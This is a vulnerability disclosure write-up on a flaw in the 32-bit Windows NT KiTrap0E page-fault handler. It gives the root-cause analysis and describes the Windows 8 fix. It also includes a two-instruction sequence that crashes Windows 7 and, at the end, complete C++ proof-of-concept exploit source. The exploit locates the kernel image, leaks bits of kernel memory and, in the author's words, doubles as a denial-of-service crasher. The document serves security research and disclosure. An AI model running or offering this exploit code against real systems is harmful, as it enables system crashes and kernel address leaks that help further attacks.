Abusing Windows NT #PF Trap Handler to Bugcheck and Leak Information
--------------------------------------------------------------------
Have you ever wondered what might be the shortest sequence of instructions that would crash an entire operating system or, let’s say, specifically Microsoft Windows? To give you some brief background on prior work, Tavis Ormandy (@taviso) and Julien Tinnes seem to have already asked the question - in their “There’s a Party at Ring0” BlackHat presentation in 2010, they discussed a Windows Server 2003 vulnerability that could be triggered with the following assembly snippet:
00000000 31E4 xor esp, esp
00000002 CD2C int 0x2c
As it turns out, the Windows Server 2003 implementation of a user-accessible nt!KiRaiseException interrupt handler lacked an “sti” instruction, making it possible to trigger a double- and triple-fault by providing a bogus user-mode stack pointer to the service handler. This was a neat (and easily fixed) bug; however, it was unfortunately specific to one particular platform and allowed a Denial of Service condition at the most.
This was back in 2009/2010. Apparently there are other similarly short, but incomparably more ridiculous instruction sequences that can bring all 32-bit platforms up to Windows 7 down, or even better - have some more profitable consequences for an attacker. Without further ado, here are just two assembly instructions capable of crashing the latest, fully patched Windows 7 SP1 operating system on the assumption that ntoskrnl.exe is loaded under 0x8323f000:
00000000 31ED xor ebp, ebp
00000002 E9B0012483 jmp dword 0x832401b7
Executing the above short code snippet results in having the following kernel bugcheck triggered:
FAULTING_IP:
nt!KiTrap0E+183
8328047f f7416c01000000 test dword ptr [ecx+6Ch],1
TRAP_FRAME: 9384bc34 -- (.trap 0xffffffff9384bc34)
ErrCode = 00000015
eax=00000001 ebx=7ffdf000 ecx=00000001 edx=777e70b4 esi=00000000 edi=00000000
eip=8327d1b7 esp=0022ff20 ebp=00000000 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
nt!KiFastCallEntry+0xf7:
001b:8327d1b7 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
DEFAULT_BUCKET_ID: INTEL_CPU_MICROCODE_ZERO
BUGCHECK_STR: 0x8E
PROCESS_NAME: kitrap0e.exe
CURRENT_IRQL: 2
LAST_CONTROL_TRANSFER: from 8331e083 to 832ba110
STACK_TEXT:
9384b17c 8331e083 00000003 1f035636 00000065 nt!RtlpBreakWithStatusInstruction
9384b1cc 8331eb81 00000003 9384b5d0 00000000 nt!KiBugCheckDebugBreak+0x1c
9384b590 8331df20 0000008e c0000005 8328047f nt!KeBugCheck2+0x68b
9384b5b4 832f408c 0000008e c0000005 8328047f nt!KeBugCheckEx+0x1e
9384bb50 8327ddd6 9384bb6c 00000000 9384bbc0 nt!KiDispatchException+0x1ac
9384bbb8 8327dd8a 9384bc34 8328047f badb0d00 nt!CommonDispatchException+0x4a
9384bbc0 8328047f badb0d00 00000000 c04193e8 nt!Kei386EoiHelper+0x192
9384bbc0 8327d1b7 badb0d00 00000000 c04193e8 nt!KiTrap0E+0x183
00000000 00000000 00000000 00000000 00000000 nt!KiFastCallEntry+0xf7
STACK_COMMAND: kb
FOLLOWUP_IP:
nt!KiTrap0E+183
8328047f f7416c01000000 test dword ptr [ecx+6Ch],1
Quite frankly, my natural reaction to the above statement would be “what the hell, how is that even possible?”. It indeed sounds rather absurd that a ring-3 thread trying to jump into kernel address space would be able to invoke an unhandled exception within Windows ring-0. However, if you look back at the past, the exception / interrupt-related code found in operating systems and VMMs alike have always been susceptible to security vulnerabilities; enough to mention the #GP Trap Handler flaw discovered by Tavis in 2010, and the nt!Kei386EoiHelper vulnerability I found two years ago; both of which won Pwnie Awards in the “Pwnie for Best Privilege Escalation Bug” category.
In this particular case, the actual bug resides in nt!KiTrap0E, a default handler of X86 Page Fault (#PF) exceptions. The flawed implementation has been observed in kernels as early as Windows NT 4.0, thus the vulnerability is believed to affect every release of the Windows NT kernel from Windows NT 3.1 (1993) up to and including Windows 7, making it an almost 20 year old issue.
Now, let’s jump into the juicy details.
-------------------
Story
-----------------------
The whole thing started when Dan Rosenberg published a “A Linux Memory Trick” post on his personal blog a few days ago. Long story short, Dan described how the value of a fault-code passed down by CPU to the Linux kernel upon a #PF trap is user-accessible through kernel syslogs, and how it can be used to derive information regarding kernel address space layout (thus defeating ASLR or potentially easing further local exploitation). Reading about how certain CPU features apply to the Linux kernel usually gets me thinking of how this applies to Windows; for an example, see Dan’s “SMEP: What is It, and How to Beat It on Linux” write-up and gynvael@’s and my “SMEP: What is it, and how to beat it on Windows” follow up text. This case not being an exception, I started digging into nt!KiTrap0E (and other trap handlers) in search of potentially information-sensitive data made accessible to ring-3. Unfortunately, it turned out that the “P” (for “present”) bit in the #PF exit code is discarded throughout the execution of the Windows handler, therefore rendering it impossible to extract it from within user-mode (including timing attacks). However, some other interesting bits about the nt!KiTrap0E behavior were unveiled during the process.
The overall 32-bit implementation of the routine is rather boring, so we’ll skip to the interesting pieces. A simplified execution flow of the handler is shown below in pseudo-code:
if MmAccessFault() successfully resolved fault:
KiExceptionExit()
else:
if KTRAP_FRAME.Eip == nt!ExpInterlockedPopEntrySListFault:
KTRAP_FRAME.Eip = nt!ExpInterlockedPopEntrySListResume
elif KTRAP_FRAME.Eip == [nt!KeUserPopEntrySListFault]:
if fault address same as previously:
if fault count < limit:
KTRAP_FRAME.Eip = [nt!KeUserPopEntrySListResume]
KiExceptionExit()
else:
reset fault counter
dispatch exception via CommonDispatchException(2Args)
else:
update saved fault address
reset fault counter
KTRAP_FRAME.Eip = [nt!KeUserPopEntrySListResume]
KiExceptionExit()
elif KTRAP_FRAME.Eip == nt!KiSystemServiceCopyArguments:
PreviousFrame = KTRAP_FRAME.Ebp
if PreviousFrame.SegCs & 1:
KTRAP_FRAME.Eip = nt!kss60
KTRAP_FRAME.Eax = STATUS_ACCESS_VIOLATION
KiExceptionExit()
else:
proceed to exception dispatching
elif KTRAP_FRAME.Eip == nt!KiSystemServiceAccessTeb:
PreviousFrame = KTRAP_FRAME.Ebp
if PreviousFrame.SegCs & 1:
KTRAP_FRAME.Eip = nt!kss61
KTRAP_FRAME.Eax = STATUS_ACCESS_VIOLATION
KiExceptionExit()
else:
proceed to exception dispatching
elif IS_NTVDM(KTRAP_FRAME):
if DISPATCH_EXCP_INSIDE_VDM():
KiExceptionExit()
else:
dispatch exception via CommonDispatchException(2Args)
else:
dispatch exception via CommonDispatchException(2Args)
As the pseudo-code shows, the trap handler first attempts to load a supposedly swapped out memory page from pagefile.sys; if that fails, it begins to look for special cases that are known to have a legitimate reason to fail. If the trap is identified as one of those cases, the handler takes appropriate measures to “fix” the system state, e.g. by redirecting the program counter to a different location.
What goes wrong in the code is that the routine utterly ignores all indicators of the previous CPL (contained primarily in KTRAP_FRAME.SegCs), but instead relies solely on examination of the “Eip” field, which denotes the linear address of where the page fault occurred. Since user-mode programs can trivially and fully control the value by simply attempting to execute instructions at that address, it is possible to trick the kernel into thinking that it is dealing with a legitimate ring-0 fault, with its actual source being a malicious user-mode thread. The situation is very similar to the CVE-2010-0232 KiTrap0D vulnerability, which also had its root cause in trusting a magic address in trap frame’s “Eip” field without verifying the actual source of the trap. However, back then the bug would allow an attacker to switch a kernel-mode stack to user-specified memory region, effectively granting ring-0 execution privileges to any ring-3 caller. Here, the erroneous behavior is not as favorable to an attacker, due to very limited execution paths being taken even if the trap frame state is wrongly understood. Let’s review our options.
In case of the first “if” statement where Eip is expected to be the address of an internal nt!ExpInterlockedPopEntrySListFault symbol, the only action undertaken by the routine is to switch the program counter to another internal symbol (nt!ExpInterlockedPopEntrySListResume) and resume execution. As the trap originates from ring-3, resetting Eip to another kernel-mode address will obviously generate another #PF exception, and one that is not treated in a special way. As a direct outcome, this second exception will be passed either to a process debugger (if one is present), or the application itself. This fact alone can be easily used to leak information about the virtual address of the magic nt symbol, and therefore the base address of the kernel image itself. The algorithm is as follows:
In case you are specifically interested in the address of the internal symbol being looked for, you can further optimize Step 1 by only iterating through valid ntoskrnl.exe addresses obtained via an NtQuerySystemInformation(SystemModuleInformation) call. Example output of a proof of concept exploit implementing the above idea is shown below:
20:15:44 Vexillium> kitrap0e.exe
Jumped to 0x82c9c585, exception at 0x82c9c557
The second “if” statement is not of much interest to us, as this one works with the assumption that the fault occured in user-mode (which is true in this case). Although it allows us to “magically” move a ring-3 Eip from one place to another by triggering a #PF at a special address, it isn’t of much use security-wise. On the other hand, the next two cases look much more interesting. They are fundamentally equivalent to each other in how they work, only difference being the virtual address used for the Eip redirection. Let’s start from the beginning, though.
As you remember, the kernel assumes that a ring-0 address in trap frame’s Eip guarantees the trap to be generated while in kernel-mode. At the time of executing instructions under both nt!KiSystemServiceCopyArguments and nt!KiSystemServiceAccessTeb, the Ebp register always points at the previous trap frame; since both symbols are parts of the syscall-handling execution flow, that frame usually describes a user- to kernel-mode privilege transition. The stack layout during a typical nt!KiSystemServiceCopyArguments #PF handler call is illustrated below:
------------------------------------ <== Stack limit
....................................
....................................
....................................
....................................
+----------[ Trap Frame ]----------+
| |
| ... |
| |
+----------------------------------+
| Ebp = Previous frame -----+----+
+----------------------------------+ |
|Eip = KiSystemServiceCopyArguments| |
+----------------------------------+ |
| SegCs & 3 == 0 | |
+----------------------------------+ |
| | |
+--[ KiFastCallEntry stack frame ]-+ |
|..................................| |
|..................................| |
+----------[ Trap Frame ]----------+ <--+
| |
| ... |
| |
+----------------------------------+
| User-Mode Ebp |
+----------------------------------+
| User-Mode Eip |
+----------------------------------+
| SegCs & 3 == 3 |
+----------------------------------+
| |
+----------------------------------+
....................................
....................................
------------------------------------ <== Stack Base
???????????????????????????????????? <== Unmapped memory
For the above layout, the KiTrap0E implementation makes perfect sense - KTRAP_FRAME.Ebp is correctly interpreted as base address of another trap frame, and respectively used to investigate if the exception had occurred due to a failed attempt to copy syscall parameters invoked from ring-3 or ring-0. However, it is possible to craft the trap frame in such a way that it is misinterpreted for a nested frame, but really is a result of a user-mode exception. In that case, we can set Ebp to an arbitrary value and have it referenced as a valid stack pointer. A corresponding stack layout is shown below:
------------------------------------ <== Stack limit
....................................
....................................
....................................
....................................
+----------[ Trap Frame ]----------+
| |
| ... |
| |
+----------------------------------+ /\
| Ebp = Arbitrary value -----+----+ >
+----------------------------------+ \/
|Eip = KiSystemServiceCopyArguments|
+----------------------------------+
| SegCs & 3 == 3 |
+----------------------------------+
| |
+----------------------------------+
....................................
....................................
------------------------------------ <== Stack Base
???????????????????????????????????? <== Unmapped memory
Unluckily, the only context in which the arbitrary pointer is used is the “if PreviousFrame.SegCs & 1” expression; it is never employed as a write destination operand, and the extent of bits read is also minimal. Here’s what the vulnerability can be practically used for:
Interestingly, with a little bit of additional work, we should actually be able to achieve the original goal: disclose information about the presence of certain kernel-mode memory pages. The “Present” bit in the #PF fault code is in fact stored in the first bit of the value. We cannot use the current error code put on the stack at exploitation time, because the bit would denote the presence of the special addresses used to trigger the bug in the first place. However, it is possible to use a second thread continuously triggering page faults at the address in question. We could then extract the information from the fault-code stored in helper thread’s kernel stack (kernel stack addresses can be obtained through NtQuerySystemInformation with the SystemExtendedProcessInformation class). A proof of concept exploit achieving the discussed idea has been implemented and proven to work reliably; example output from a Windows 7 platform follows:
[…]
[+] Address 0xffd33000 mapped
[+] Address 0xffd34000 mapped
[+] Address 0xffd35000 mapped
[+] Address 0xffd36000 mapped
[+] Address 0xffd37000 mapped
[+] Address 0xffd38000 mapped
[+] Address 0xffd39000 mapped
[+] Address 0xffd3a000 mapped
[+] Address 0xffd3b000 mapped
[+] Address 0xffd3c000 mapped
[+] Address 0xffd3d000 mapped
[+] Address 0xffd3e000 mapped
[+] Address 0xffdf0000 mapped
[+] Address 0xffdff000 mapped
[…]
It is possible that the nature of information disclosure made possible by the issue can be used to obtain data of more sensitive kind; however, no such attacks have been implemented or confirmed to exist.
--------------------
Windows 8 and 64-bit platforms
------------------------
One particularly interesting fact about the bug is that it has already been fixed in Windows 8 and 64-bit versions of previous Windows editions. This could imply several different things, such as the low-level Windows 8 kernel code having been subject some significant refactoring, or MSFT knowing about the issue for a longer time but only deciding to fix it in the latest version of the operating system. Whatever the reason, the problem is indeed solved properly by comparing the KTRAP_FRAME.SegCs field with known good selectors for user- and kernel-mode: respectively 0x1b and 0x8 on 32-bit platforms, and one of {0x33, 0x23, 0x10} for user-mode, WOW64 user-mode and kernel-mode on 64-bit platforms. Additionally, special handling of the KiSystemServiceCopyArguments and KiSystemServiceAccessTeb addresses has been removed entirely from the kernel, eliminating even a remote possibility for further bugs there.
The logic for identifying special SList-related page fault cases was moved to a separate nt!KiCheckForSListAddress function. On Windows 8 32-bit, the function is implemented as follows:
void __fastcall KiCheckForSListAddress(_KTRAP_FRAME *frame) {
if (frame->SegCs == 8) {
if (frame->Eip >= ExpInterlockedPopEntrySListResume && frame->Eip <= ExpInterlockedPopEntrySListEnd) {
frame->Eip = ExpInterlockedPopEntrySListResume;
}
} else if (frame->SegCs == 0x1B && frame->Eip >= KeUserPopEntrySListResume && frame->Eip <= KeUserPopEntrySListEnd) {
frame->Eip = KeUserPopEntrySListResume;
}
}
--------------------
Affected Software
------------------------
All 32-bit x86 versions of Windows NT released since 1993 until 2009 are believed to be affected, including but not limited to the following actively supported versions:
- Windows XP
- Windows Server 2003
- Windows Vista
- Windows Server 2008
- Windows 7
-------------------
Mitigation
-----------------------
Considering the fact that the vulnerability resides in one of the most fundamental routines found in the Windows NT kernel, and the flawed code is not driven by any user-controlled flags or settings, there are no mitigations available at the time.
-------------------
Proof of Concept
-----------------------
The following proof of concept exploit has been developed to illustrate the arbitrary address information disclosure vulnerability. It can be alternatively used as a denial of service exploit if provided with an invalid virtual address address. Use at your own risk.
Usage: kitrap0e.exe <virtual address>
Example output for a “4d 5a 00 00 03” sequence at kernel image base:
C:\Users\asdf\Desktop>kitrap0e.exe 8280b000
[0x8280b000] & 1 = 1
C:\Users\asdf\Desktop>kitrap0e.exe 8280b001
[0x8280b001] & 1 = 0
C:\Users\asdf\Desktop>kitrap0e.exe 8280b002
[0x8280b002] & 1 = 0
C:\Users\asdf\Desktop>kitrap0e.exe 8280b003
[0x8280b003] & 1 = 0
C:\Users\asdf\Desktop>kitrap0e.exe 8280b004
[0x8280b004] & 1 = 1
Source code:
#include <cstdio>
#include <cstdlib>
#include <string>
#ifndef _WIN32_WINNT
# define _WIN32_WINNT 0x0600
#endif
#include <windows.h>
#include <ddk\ntapi.h>
using namespace std;
BOOLEAN GetKernelInformation(DWORD *lpBaseAddress, PDWORD lpImageSize) {
PSYSTEM_MODULE_INFORMATION ModuleInformation = NULL;
ULONG InformationSize = 16;
NTSTATUS NtStatus;
do {
InformationSize *= 2;
ModuleInformation = (PSYSTEM_MODULE_INFORMATION)realloc(ModuleInformation, InformationSize);
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
ModuleInformation,
InformationSize,
NULL);
} while (NtStatus == STATUS_INFO_LENGTH_MISMATCH);
if (!NT_SUCCESS(NtStatus)) {
return FALSE;
}
*lpBaseAddress = (DWORD)ModuleInformation->Module[0].Base;
*lpImageSize = ModuleInformation->Module[0].Size;
free(ModuleInformation);
return TRUE;
}
LONG CALLBACK OffsetExcpHandler(PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Eax = ExceptionInfo->ContextRecord->Eip;
ExceptionInfo->ContextRecord->Eip = ExceptionInfo->ContextRecord->Edx;
return EXCEPTION_CONTINUE_EXECUTION;
}
DWORD KiTrap0E(ULONG Eip, LPCVOID Ebp) {
__asm("mov edx, offset KiTrap0E_label");
__asm("mov eax, %0" : "=m"(Eip));
__asm("mov ebp, %0" : "=m"(Ebp));
__asm("jmp eax");
__asm("KiTrap0E_label:");
}
int main(int argc, char **argv) {
DWORD KernelImageBase;
DWORD KernelImageSize;
DWORD InputAddress;
if (argc != 2) {
printf("Usage: %s <virtual address>\n", argv[0]);
return EXIT_FAILURE;
}
sscanf(argv[1], "%x", &InputAddress);
if (!GetKernelInformation(&KernelImageBase, &KernelImageSize)) {
return EXIT_FAILURE;
}
AddVectoredExceptionHandler(1, OffsetExcpHandler);
CONST ULONG kTsEbpOffset = 0x6c;
CONST BYTE ZeroValue = 0;
CONST BYTE OneValue = 1;
DWORD MagicNtAddress = 0;
for (UINT i = 0; i < KernelImageSize; i++) {
DWORD FirstAttempt = KiTrap0E(KernelImageBase + i, &(&ZeroValue)[-kTsEbpOffset]);
DWORD SecondAttempt = KiTrap0E(KernelImageBase + i, &(&OneValue)[-kTsEbpOffset]);
if (FirstAttempt != SecondAttempt) {
MagicNtAddress = KernelImageBase + i;
break;
}
}
if (!MagicNtAddress) {
return EXIT_FAILURE;
}
BOOLEAN Bit = (KiTrap0E(MagicNtAddress, (LPCVOID)(InputAddress - kTsEbpOffset)) != MagicNtAddress);
printf("[%#x] & 1 = %u\n", InputAddress, Bit);
return EXIT_SUCCESS;
}